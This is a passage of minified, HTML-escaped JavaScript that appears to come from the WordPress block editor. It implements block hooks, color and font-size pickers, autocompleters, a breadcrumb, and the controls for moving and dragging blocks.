o=C();return[...e.map(((e,t)=&gt;{const{Edit:r,hasSupport:i,attributeKeys:s=[],shareWithChildBlocks:l}=e;if(!(o[b]||o[k]&amp;&amp;l)||!i(n.name))return null;const a={};for(const e of s)n.attributes[e]&amp;&amp;(a[e]=n.attributes[e]);return(0,d.jsx)(r,{name:n.name,isSelected:n.isSelected,clientId:n.clientId,setAttributes:n.setAttributes,__unstableParentLayout:n.__unstableParentLayout,...a},t)})),(0,d.jsx)(t,{...n},&quot;edit&quot;)]}),&quot;withBlockEditHooks&quot;);(0,f.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/hooks&quot;,t)}([ba,Wg,Zu,Yu,wf,Kf,Yg,sb,Nb,BI,EI,DI,CI,$u].filter(Boolean)),function(e){const t=(0,m.createHigherOrderComponent)((t=&gt;n=&gt;{const[o,r]=(0,h.useState)(Array(e.length).fill(void 0));return[...e.map(((e,t)=&gt;{const{hasSupport:o,attributeKeys:i=[],useBlockProps:s,isMatch:l}=e,a={};for(const e of i)n.attributes[e]&amp;&amp;(a[e]=n.attributes[e]);return!Object.keys(a).length||!o(n.name)||l&amp;&amp;!l(a)?null:(0,d.jsx)(xs,{index:t,useBlockProps:s,setAllWrapperProps:r,name:n.name,clientId:n.clientId,...a},t)})),(0,d.jsx)(t,{...n,wrapperProps:o.filter(Boolean).reduce(((e,t)=&gt;({...e,...t,className:gs(e.className,t.className),style:{...e.style,...t.style}})),n.wrapperProps||{})},&quot;edit&quot;)]}),&quot;withBlockListBlockHooks&quot;);(0,f.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;core/editor/hooks&quot;,t)}([ba,Wg,Du,wf,Mh,hf,Kf,Ig,Ag,Yg,Lp,sb,Tb,CI]),XI=[ba,Wg,Zu,qu,Yu,Lp,Yg,Mh,wf,Ig,Ag],(0,f.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/editor/hooks&quot;,(function(e,t,n){return XI.reduce(((e,o)=&gt;{const{hasSupport:r,attributeKeys:i=[],addSaveProps:s}=o,l={};for(const e of i)n[e]&amp;&amp;(l[e]=n[e]);return Object.keys(l).length&amp;&amp;r(t)?s(e,t,l):e}),e)}),0),(0,f.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/editor/hooks&quot;,(e=&gt;(e.hasOwnProperty(&quot;className&quot;)&amp;&amp;!e.className&amp;&amp;delete e.className,e)));const{kebabCase:QI}=U(Ss.privateApis),JI=([e,...t])=&gt;e.toUpperCase()+t.join(&quot;&quot;),ej=e=&gt;(0,m.createHigherOrderComponent)((t=&gt;n=&gt;(0,d.jsx)(t,{...n,colors:e})),&quot;withCustomColorPalette&quot;),tj=()=&gt;(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const[n,o,r]=Ei(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;),i=(0,h.useMemo)((()=&gt;[...n||[],...o||[],...r||[]]),[n,o,r]);return(0,d.jsx)(e,{...t,colors:i})}),&quot;withEditorColorPalette&quot;);function nj(e,t){const n=e.reduce(((e,t)=&gt;({...e,...&quot;string&quot;==typeof t?{[t]:QI(t)}:t})),{});return(0,m.compose)([t,e=&gt;class extends h.Component{constructor(e){super(e),this.setters=this.createSetters(),this.colorUtils={getMostReadableColor:this.getMostReadableColor.bind(this)},this.state={}}getMostReadableColor(e){const{colors:t}=this.props;return function(e,t){const n=Sd(t),o=({color:e})=&gt;n.contrast(e),r=Math.max(...e.map(o));return e.find((e=&gt;o(e)===r)).color}(t,e)}createSetters(){return Object.keys(n).reduce(((e,t)=&gt;{const n=JI(t),o=`custom${n}`;return e[`set${n}`]=this.createSetColor(t,o),e}),{})}createSetColor(e,t){return n=&gt;{const o=Pd(this.props.colors,n);this.props.setAttributes({[e]:o&amp;&amp;o.slug?o.slug:void 0,[t]:o&amp;&amp;o.slug?void 0:n})}}static getDerivedStateFromProps({attributes:e,colors:t},o){return Object.entries(n).reduce(((n,[r,i])=&gt;{const s=Md(t,e[r],e[`custom${JI(r)}`]),l=o[r],a=l?.color;return a===s.color&amp;&amp;l?n[r]=l:n[r]={...s,class:Rd(i,s.slug)},n}),{})}render(){return(0,d.jsx)(e,{...{...this.props,colors:void 0,...this.state,...this.setters,colorUtils:this.colorUtils}})}}])}function oj(e){return(...t)=&gt;{const n=ej(e);return(0,m.createHigherOrderComponent)(nj(t,n),&quot;withCustomColors&quot;)}}function rj(...e){const t=tj();return(0,m.createHigherOrderComponent)(nj(e,t),&quot;withColors&quot;)}var ij=function(e){const[t,n]=Ei(&quot;typography.fontSizes&quot;,&quot;typography.customFontSize&quot;);return(0,d.jsx)(Ss.FontSizePicker,{...e,fontSizes:t,disableCustomFontSizes:!n})};const sj=[],lj=([e,...t])=&gt;e.toUpperCase()+t.join(&quot;&quot;);var aj=(...e)=&gt;{const t=e.reduce(((e,t)=&gt;(e[t]=`custom${lj(t)}`,e)),{});return(0,m.createHigherOrderComponent)((0,m.compose)([(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const[n]=Ei(&quot;typography.fontSizes&quot;);return(0,d.jsx)(e,{...t,fontSizes:n||sj})}),&quot;withFontSizes&quot;),e=&gt;class extends h.Component{constructor(e){super(e),this.setters=this.createSetters(),this.state={}}createSetters(){return Object.entries(t).reduce(((e,[t,n])=&gt;(e[`set${lj(t)}`]=this.createSetFontSize(t,n),e)),{})}createSetFontSize(e,t){return n=&gt;{const o=this.props.fontSizes?.find((({size:e})=&gt;e===Number(n)));this.props.setAttributes({[e]:o&amp;&amp;o.slug?o.slug:void 0,[t]:o&amp;&amp;o.slug?void 0:n})}}static getDerivedStateFromProps({attributes:e,fontSizes:n},o){const r=(t,n)=&gt;!o[n]||(e[n]?e[n]!==o[n].slug:o[n].size!==e[t]);if(!Object.values(t).some(r))return null;const i=Object.entries(t).filter((([e,t])=&gt;r(t,e))).reduce(((t,[o,r])=&gt;{const i=e[o],s=Eg(n,i,e[r]);return t[o]={...s,class:Mg(i)},t}),{});return{...o,...i}}render(){return(0,d.jsx)(e,{...{...this.props,fontSizes:void 0,...this.state,...this.setters}})}}]),&quot;withFontSizes&quot;)};const cj=()=&gt;{};var uj={name:&quot;blocks&quot;,className:&quot;block-editor-autocompleters__block&quot;,triggerPrefix:&quot;/&quot;,useItems(e){const{rootClientId:t,selectedBlockId:n,prioritizedBlocks:o}=(0,g.useSelect)((e=&gt;{const{getSelectedBlockClientId:t,getBlock:n,getBlockListSettings:o,getBlockRootClientId:r}=e(Ii),{getActiveBlockVariation:i}=e(p.store),s=t(),{name:l,attributes:a}=n(s),c=i(l,a),u=r(s);return{selectedBlockId:c?`${l}/${c.name}`:l,rootClientId:u,prioritizedBlocks:o(u)?.prioritizedInserterBlocks}}),[]),[r,i,s]=TC(t,cj,!0),l=(0,h.useMemo)((()=&gt;(e.trim()?hB(r,i,s,e):KB(yt(r,&quot;frecency&quot;,&quot;desc&quot;),o)).filter((e=&gt;e.id!==n)).slice(0,9)),[e,n,r,i,s,o]);return[(0,h.useMemo)((()=&gt;l.map((e=&gt;{const{title:t,icon:n,isDisabled:o}=e;return{key:`block-${e.id}`,value:e,label:(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(zu,{icon:n,showColors:!0},&quot;icon&quot;),t]}),isDisabled:o}}))),[l])]},allowContext:(e,t)=&gt;!(/\S/.test(e)||/\S/.test(t)),getOptionCompletion(e){const{name:t,initialAttributes:n,innerBlocks:o,syncStatus:r,blocks:i}=e;return{action:&quot;replace&quot;,value:&quot;unsynced&quot;===r?(i??[]).map((e=&gt;(0,p.cloneBlock)(e))):(0,p.createBlock)(t,n,(0,p.createBlocksFromInnerBlocksTemplate)(o))}}};const dj=window.wp.apiFetch;var pj=n.n(dj),hj=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z&quot;})});var gj={name:&quot;links&quot;,className:&quot;block-editor-autocompleters__link&quot;,triggerPrefix:&quot;[[&quot;,options:async e=&gt;{let t=await pj()({path:(0,Ha.addQueryArgs)(&quot;/wp/v2/search&quot;,{per_page:10,search:e,type:&quot;post&quot;,order_by:&quot;menu_order&quot;})});return t=t.filter((e=&gt;&quot;&quot;!==e.title)),t},getOptionKeywords:e=&gt;[...e.title.split(/\s+/)],getOptionLabel:e=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Dl,{icon:&quot;page&quot;===e.subtype?dc:hj},&quot;icon&quot;),(0,kS.decodeEntities)(e.title)]}),getOptionCompletion:e=&gt;(0,d.jsx)(&quot;a&quot;,{href:e.url,children:e.title})};const mj=[];function fj({completers:e=mj}){const{name:t}=C();return(0,h.useMemo)((()=&gt;{let n=[...e,gj];return(t===(0,p.getDefaultBlockName)()||(0,p.getBlockSupport)(t,&quot;__experimentalSlashInserter&quot;,!1))&amp;&amp;(n=[...n,uj]),(0,f.hasFilter)(&quot;editor.Autocomplete.completers&quot;)&amp;&amp;(n===e&amp;&amp;(n=n.map((e=&gt;({...e})))),n=(0,f.applyFilters)(&quot;editor.Autocomplete.completers&quot;,n,t)),n}),[e,t])}var bj=function(e){return(0,d.jsx)(Ss.Autocomplete,{...e,completers:fj(e)})},kj=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z&quot;})});var vj=function({isActive:e,label:t=(0,T.__)(&quot;Full height&quot;),onToggle:n,isDisabled:o}){return(0,d.jsx)(Ss.ToolbarButton,{isActive:e,icon:kj,label:t,onClick:()=&gt;n(!e),disabled:o})};const _j=()=&gt;{};var yj=function(e){const{label:t=(0,T.__)(&quot;Change matrix alignment&quot;),onChange:n=_j,value:o=&quot;center&quot;,isDisabled:r}=e,i=(0,d.jsx)(Ss.AlignmentMatrixControl.Icon,{value:o});return(0,d.jsx)(Ss.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({onToggle:e,isOpen:n})=&gt;(0,d.jsx)(Ss.ToolbarButton,{onClick:e,&quot;aria-haspopup&quot;:&quot;true&quot;,&quot;aria-expanded&quot;:n,onKeyDown:t=&gt;{n||t.keyCode!==$a.DOWN||(t.preventDefault(),e())},label:t,icon:i,showTooltip:!0,disabled:r}),renderContent:()=&gt;(0,d.jsx)(Ss.AlignmentMatrixControl,{hasFocusBorder:!1,onChange:n,value:o})})};function xj({clientId:e,maximumLength:t,context:n}){const o=(0,g.useSelect)((t=&gt;{if(!e)return null;const{getBlockName:o,getBlockAttributes:r}=t(Ii),{getBlockType:i,getActiveBlockVariation:s}=t(p.store),l=o(e),a=i(l);if(!a)return null;const c=r(e),u=(0,p.__experimentalGetBlockLabel)(a,c,n);if(u!==a.title)return u;const d=s(l,c);return d?.title||a.title}),[e,n]);if(!o)return null;if(t&amp;&amp;t&gt;0&amp;&amp;o.length&gt;t){const e=&quot;...&quot;;return o.slice(0,t-e.length)+e}return o}function Sj({clientId:e,maximumLength:t,context:n}){return xj({clientId:e,maximumLength:t,context:n})}var wj=function({rootLabelText:e}){const{selectBlock:t,clearSelectedBlock:n}=(0,g.useDispatch)(Ii),{clientId:o,parents:r,hasSelection:i}=(0,g.useSelect)((e=&gt;{const{getSelectionStart:t,getSelectedBlockClientId:n,getEnabledBlockParents:o}=U(e(Ii)),r=n();return{parents:o(r),clientId:r,hasSelection:!!t().clientId}}),[]),s=e||(0,T.__)(&quot;Document&quot;),l=(0,h.useRef)();return mh(o,l),(0,d.jsxs)(&quot;ul&quot;,{className:&quot;block-editor-block-breadcrumb&quot;,role:&quot;list&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Block breadcrumb&quot;),children:[(0,d.jsxs)(&quot;li&quot;,{className:i?void 0:&quot;block-editor-block-breadcrumb__current&quot;,&quot;aria-current&quot;:i?void 0:&quot;true&quot;,children:[i&amp;&amp;(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,className:&quot;block-editor-block-breadcrumb__button&quot;,onClick:()=&gt;{const e=l.current?.closest(&quot;.editor-styles-wrapper&quot;);n(),function(e){if(!e)return null;const t=Array.from(document.querySelectorAll(&#039;iframe[name=&quot;editor-canvas&quot;]&#039;).values()).find((t=&gt;(t.contentDocument||t.contentWindow.document)===e.ownerDocument))??e;return t?.closest(&#039;[role=&quot;region&quot;]&#039;)??t}(e)?.focus()},children:s}),!i&amp;&amp;(0,d.jsx)(&quot;span&quot;,{children:s}),!!o&amp;&amp;(0,d.jsx)(Dl,{icon:nc,className:&quot;block-editor-block-breadcrumb__separator&quot;})]}),r.map((e=&gt;(0,d.jsxs)(&quot;li&quot;,{children:[(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,className:&quot;block-editor-block-breadcrumb__button&quot;,onClick:()=&gt;t(e),children:(0,d.jsx)(Sj,{clientId:e,maximumLength:35})}),(0,d.jsx)(Dl,{icon:nc,className:&quot;block-editor-block-breadcrumb__separator&quot;})]},e))),!!o&amp;&amp;(0,d.jsx)(&quot;li&quot;,{className:&quot;block-editor-block-breadcrumb__current&quot;,&quot;aria-current&quot;:&quot;true&quot;,children:(0,d.jsx)(Sj,{clientId:o,maximumLength:35})})]})};function Cj(e){return(0,g.useSelect)((t=&gt;{const{__unstableHasActiveBlockOverlayActive:n}=t(Ii);return n(e)}),[e])}const Bj={placement:&quot;top-start&quot;},Ij={...Bj,flip:!1,shift:!0},jj={...Bj,flip:!0,shift:!1};function Ej(e,t,n,o,r){if(!e||!t)return Ij;const i=n?.scrollTop||0,s=Xm(t),l=i+e.getBoundingClientRect().top,a=e.ownerDocument.documentElement.clientHeight,c=l+o,u=s.top&gt;c,d=s.height&gt;a-o;return r||!u&amp;&amp;!d?jj:Ij}function Tj({contentElement:e,clientId:t}){const n=fh(t),[o,r]=(0,h.useState)(0),{blockIndex:i,isSticky:s}=(0,g.useSelect)((e=&gt;{const{getBlockIndex:n,getBlockAttributes:o}=e(Ii);return{blockIndex:n(t),isSticky:ob(o(t))}}),[t]),l=(0,h.useMemo)((()=&gt;{if(e)return(0,Ua.getScrollContainer)(e)}),[e]),[a,c]=(0,h.useState)((()=&gt;Ej(e,n,l,o,s))),u=(0,m.useRefEffect)((e=&gt;{r(e.offsetHeight)}),[]),d=(0,h.useCallback)((()=&gt;c(Ej(e,n,l,o,s))),[e,n,l,o]);return(0,h.useLayoutEffect)(d,[i,d]),(0,h.useLayoutEffect)((()=&gt;{if(!e||!n)return;const t=e?.ownerDocument?.defaultView;let o;t?.addEventHandler?.(&quot;resize&quot;,d);const r=n?.ownerDocument?.defaultView;return r.ResizeObserver&amp;&amp;(o=new r.ResizeObserver(d),o.observe(n)),()=&gt;{t?.removeEventHandler?.(&quot;resize&quot;,d),o&amp;&amp;o.disconnect()}}),[d,e,n]),{...a,ref:u}}function Mj(e){const t=(0,g.useSelect)((t=&gt;{const{getBlockRootClientId:n,getBlockParents:o,__experimentalGetBlockListSettingsForBlocks:r,isBlockInsertionPointVisible:i,getBlockInsertionPoint:s,getBlockOrder:l,hasMultiSelection:a,getLastMultiSelectedBlockClientId:c}=t(Ii),u=o(e),d=r(u),p=u.find((e=&gt;d[e]?.__experimentalCaptureToolbars));let h=!1;if(i()){const t=s();h=l(t.rootClientId)[t.index]===e}return{capturingClientId:p,isInsertionPointVisible:h,lastClientId:a()?c():null,rootClientId:n(e)}}),[e]);return t}function Pj({clientId:e,__unstableContentRef:t}){const{capturingClientId:n,isInsertionPointVisible:o,lastClientId:r,rootClientId:i}=Mj(e),s=Tj({contentElement:t?.current,clientId:e});return(0,d.jsx)(nf,{clientId:n||e,bottomClientId:r,className:gs(&quot;block-editor-block-list__block-side-inserter-popover&quot;,{&quot;is-insertion-point-visible&quot;:o}),__unstableContentRef:t,...s,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-list__empty-block-inserter&quot;,children:(0,d.jsx)(sI,{position:&quot;bottom right&quot;,rootClientId:i,clientId:e,__experimentalIsQuick:!0})})})}var Rj=({appendToOwnerDocument:e,children:t,clientIds:n,cloneClassname:o,elementId:r,onDragStart:i,onDragEnd:s,fadeWhenDisabled:l=!1,dragComponent:a})=&gt;{const{srcRootClientId:c,isDraggable:u,icon:f,visibleInserter:b,getBlockType:k}=(0,g.useSelect)((e=&gt;{const{canMoveBlocks:t,getBlockRootClientId:o,getBlockName:r,getBlockAttributes:i,isBlockInsertionPointVisible:s}=e(Ii),{getBlockType:l,getActiveBlockVariation:a}=e(p.store),c=o(n[0]),u=r(n[0]),d=a(u,i(n[0]));return{srcRootClientId:c,isDraggable:t(n),icon:d?.icon||l(u)?.icon,visibleInserter:s(),getBlockType:l}}),[n]),v=(0,h.useRef)(!1),[_,y,x]=function(){const e=(0,h.useRef)(null),t=(0,h.useRef)(null),n=(0,h.useRef)(null),o=(0,h.useRef)(null);return(0,h.useEffect)((()=&gt;()=&gt;{o.current&amp;&amp;(clearInterval(o.current),o.current=null)}),[]),[(0,h.useCallback)((r=&gt;{e.current=r.clientY,n.current=(0,Ua.getScrollContainer)(r.target),o.current=setInterval((()=&gt;{if(n.current&amp;&amp;t.current){const e=n.current.scrollTop+t.current;n.current.scroll({top:e})}}),25)}),[]),(0,h.useCallback)((o=&gt;{if(!n.current)return;const r=n.current.offsetHeight,i=e.current-n.current.offsetTop,s=o.clientY-n.current.offsetTop;if(o.clientY&gt;i){const e=Math.max(r-i-50,0),n=Math.max(s-i-50,0),o=0===e||0===n?0:n/e;t.current=25*o}else if(o.clientY&lt;i){const e=Math.max(i-50,0),n=Math.max(i-s-50,0),o=0===e||0===n?0:n/e;t.current=-25*o}else t.current=0}),[]),()=&gt;{e.current=null,n.current=null,o.current&amp;&amp;(clearInterval(o.current),o.current=null)}]}(),{getAllowedBlocks:S,getBlockNamesByClientId:w,getBlockRootClientId:C}=(0,g.useSelect)(Ii),{startDraggingBlocks:B,stopDraggingBlocks:I}=(0,g.useDispatch)(Ii);(0,h.useEffect)((()=&gt;()=&gt;{v.current&amp;&amp;I()}),[]);const j=fh(n[0]),E=j?.closest(&quot;body&quot;);if((0,h.useEffect)((()=&gt;{if(!E||!l)return;const e=(0,m.throttle)((e=&gt;{if(!e.target.closest(&quot;[data-block]&quot;))return;const t=w(n),o=e.target.closest(&quot;[data-block]&quot;).getAttribute(&quot;data-block&quot;),r=S(o),i=w([o])[0];let s;if(0===r?.length){const e=C(o),n=w([e])[0],r=S(e);s=US(k,r,t,n)}else s=US(k,r,t,i);s||b?window?.document?.body?.classList?.remove(&quot;block-draggable-invalid-drag-token&quot;):window?.document?.body?.classList?.add(&quot;block-draggable-invalid-drag-token&quot;)}),200);return E.addEventListener(&quot;dragover&quot;,e),()=&gt;{E.removeEventListener(&quot;dragover&quot;,e)}}),[n,E,l,S,w,C,k,b]),!u)return t({draggable:!1});const T={type:&quot;block&quot;,srcClientIds:n,srcRootClientId:c};return(0,d.jsx)(Ss.Draggable,{appendToOwnerDocument:e,cloneClassname:o,__experimentalTransferDataType:&quot;wp-blocks&quot;,transferData:T,onDragStart:e=&gt;{window.requestAnimationFrame((()=&gt;{B(n),v.current=!0,_(e),i&amp;&amp;i()}))},onDragOver:y,onDragEnd:()=&gt;{I(),v.current=!1,x(),s&amp;&amp;s()},__experimentalDragComponent:void 0!==a?a:(0,d.jsx)(xC,{count:n.length,icon:f,fadeWhenDisabled:!0}),elementId:r,children:({onDraggableStart:e,onDraggableEnd:n})=&gt;t({draggable:!0,onDragStart:e,onDragEnd:n})})};const Aj=(e,t)=&gt;&quot;up&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?&quot;right&quot;:&quot;left&quot;:&quot;up&quot;:&quot;down&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?&quot;left&quot;:&quot;right&quot;:&quot;down&quot;:null;function Nj(e,t,n,o,r,i,s){const l=n+1;if(e&gt;1)return function(e,t,n,o,r,i){const s=t+1;if(n&amp;&amp;o)return(0,T.__)(&quot;All blocks are selected, and cannot be moved&quot;);if(r&gt;0&amp;&amp;!o){const t=Aj(&quot;down&quot;,i);if(&quot;down&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d down by one place&quot;),e,s);if(&quot;left&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d left by one place&quot;),e,s);if(&quot;right&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d right by one place&quot;),e,s)}if(r&gt;0&amp;&amp;o){const e=Aj(&quot;down&quot;,i);if(&quot;down&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved down as they are already at the bottom&quot;);if(&quot;left&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved left as they are already are at the leftmost position&quot;);if(&quot;right&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved right as they are already are at the rightmost position&quot;)}if(r&lt;0&amp;&amp;!n){const t=Aj(&quot;up&quot;,i);if(&quot;up&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d up by one place&quot;),e,s);if(&quot;left&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d left by one place&quot;),e,s);if(&quot;right&quot;===t)return(0,T.sprintf)((0,T.__)(&quot;Move %1$d blocks from position %2$d right by one place&quot;),e,s)}if(r&lt;0&amp;&amp;n){const e=Aj(&quot;up&quot;,i);if(&quot;up&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved up as they are already at the top&quot;);if(&quot;left&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved left as they are already are at the leftmost position&quot;);if(&quot;right&quot;===e)return(0,T.__)(&quot;Blocks cannot be moved right as they are already are at the rightmost position&quot;)}}(e,n,o,r,i,s);if(o&amp;&amp;r)return(0,T.sprintf)((0,T.__)(&quot;Block %s is the only block, and cannot be moved&quot;),t);if(i&gt;0&amp;&amp;!r){const e=Aj(&quot;down&quot;,s);if(&quot;down&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d down to position %3$d&quot;),t,l,l+1);if(&quot;left&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d left to position %3$d&quot;),t,l,l+1);if(&quot;right&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d right to position %3$d&quot;),t,l,l+1)}if(i&gt;0&amp;&amp;r){const e=Aj(&quot;down&quot;,s);if(&quot;down&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the end of the content and can’t be moved down&quot;),t);if(&quot;left&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the end of the content and can’t be moved left&quot;),t);if(&quot;right&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the end of the content and can’t be moved right&quot;),t)}if(i&lt;0&amp;&amp;!o){const e=Aj(&quot;up&quot;,s);if(&quot;up&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d up to position %3$d&quot;),t,l,l-1);if(&quot;left&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d left to position %3$d&quot;),t,l,l-1);if(&quot;right&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Move %1$s block from position %2$d right to position %3$d&quot;),t,l,l-1)}if(i&lt;0&amp;&amp;o){const e=Aj(&quot;up&quot;,s);if(&quot;up&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the beginning of the content and can’t be moved up&quot;),t);if(&quot;left&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the beginning of the content and can’t be moved left&quot;),t);if(&quot;right&quot;===e)return(0,T.sprintf)((0,T.__)(&quot;Block %1$s is at the beginning of the content and can’t be moved right&quot;),t)}}const Lj=(e,t)=&gt;&quot;up&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?Kb:Zb:vI:&quot;down&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?Zb:Kb:_I:null,Dj=(e,t)=&gt;&quot;up&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?(0,T.__)(&quot;Move right&quot;):(0,T.__)(&quot;Move left&quot;):(0,T.__)(&quot;Move up&quot;):&quot;down&quot;===e?&quot;horizontal&quot;===t?(0,T.isRTL)()?(0,T.__)(&quot;Move left&quot;):(0,T.__)(&quot;Move right&quot;):(0,T.__)(&quot;Move down&quot;):null,Oj=(0,h.forwardRef)((({clientIds:e,direction:t,orientation:n,...o},r)=&gt;{const i=(0,m.useInstanceId)(Oj),s=Array.isArray(e)?e:[e],l=s.length,{disabled:a}=o,{blockType:c,isDisabled:u,rootClientId:h,isFirst:f,isLast:b,firstIndex:k,orientation:v=&quot;vertical&quot;}=(0,g.useSelect)((e=&gt;{const{getBlockIndex:o,getBlockRootClientId:r,getBlockOrder:i,getBlock:l,getBlockListSettings:c}=e(Ii),u=s[0],d=r(u),h=o(u),g=o(s[s.length-1]),m=i(d),f=l(u),b=0===h,k=g===m.length-1,{orientation:v}=c(d)||{};return{blockType:f?(0,p.getBlockType)(f.name):null,isDisabled:a||(&quot;up&quot;===t?b:k),rootClientId:d,firstIndex:h,isFirst:b,isLast:k,orientation:n||v}}),[e,t]),{moveBlocksDown:_,moveBlocksUp:y}=(0,g.useDispatch)(Ii),x=&quot;up&quot;===t?y:_,S=`block-editor-block-mover-button__description-${i}`;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,ref:r,className:gs(&quot;block-editor-block-mover-button&quot;,`is-${t}-button`),icon:Lj(t,v),label:Dj(t,v),&quot;aria-describedby&quot;:S,...o,onClick:u?null:t=&gt;{x(e,h),o.onClick&amp;&amp;o.onClick(t)},disabled:u,accessibleWhenDisabled:!0}),(0,d.jsx)(Ss.VisuallyHidden,{id:S,children:Nj(l,c&amp;&amp;c.title,k,f,b,&quot;up&quot;===t?-1:1,v)})]})})),zj=(0,h.forwardRef)(((e,t)=&gt;(0,d.jsx)(Oj,{direction:&quot;up&quot;,ref:t,...e}))),Vj=(0,h.forwardRef)(((e,t)=&gt;(0,d.jsx)(Oj,{direction:&quot;down&quot;,ref:t,...e})));var Fj=function({clientIds:e,hideDragHandle:t,isBlockMoverUpButtonDisabled:n,isBlockMoverDownButtonDisabled:o}){const{canMove:r,rootClientId:i,isFirst:s,isLast:l,orientation:a,isManualGrid:c}=(0,g.useSelect)((t=&gt;{const{getBlockIndex:n,getBlockListSettings:o,canMoveBlocks:r,getBlockOrder:i,getBlockRootClientId:s,getBlockAttributes:l}=t(Ii),a=Array.isArray(e)?e:[e],c=a[0],u=s(c),d=n(c),p=n(a[a.length-1]),h=i(u),{layout:g={}}=l(u)??{};return{canMove:r(e),rootClientId:u,isFirst:0===d,isLast:p===h.length-1,orientation:o(u)?.orientation,isManualGrid:&quot;grid&quot;===g.type&amp;&amp;g.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity}}),[e]);return!r||s&amp;&amp;l&amp;&amp;!i||t&amp;&amp;c?null:(0,d.jsxs)(Ss.ToolbarGroup,{className:gs(&quot;block-editor-block-mover&quot;,{&quot;is-horizontal&quot;:&quot;horizontal&quot;===a}),children:[!t&amp;&amp;(0,d.jsx)(Rj,{clientIds:e,fadeWhenDisabled:!0,children:e=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,icon:yC,className:&quot;block-editor-block-mover__drag-handle&quot;,label:(0,T.__)(&quot;Drag&quot;),tabIndex:&quot;-1&quot;,...e})}),!c&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-mover__move-button-container&quot;,children:[(0,d.jsx)(Ss.ToolbarItem,{children:t=&gt;(0,d.jsx)(zj,{disabled:n,clientIds:e,...t})}),(0,d.jsx)(Ss.ToolbarItem,{children:t=&gt;(0,d.jsx)(Vj,{disabled:o,clientIds:e,...t})})]})]})};const{clearTimeout:Hj,setTimeout:Uj}=window,Gj=200;function $j({ref:e,isFocused:t,highlightParent:n,debounceTimeout:o=Gj}){const{getSelectedBlockClientId:r,getBlockRootClientId:i}=(0,g.useSelect)(Ii),{toggleBlockHighlight:s}=(0,g.useDispatch)(Ii),l=(0,h.useRef)(),a=(0,g.useSelect)((e=&gt;e(Ii).getSettings().isDistractionFree),[]),c=e=&gt;{if(e&amp;&amp;a)return;const t=r(),o=n?i(t):t;s(o,e)},u=()=&gt;{const n=e?.current&amp;&amp;e.current.matches(&quot;:hover&quot;);return!t&amp;&amp;!n},d=()=&gt;{const 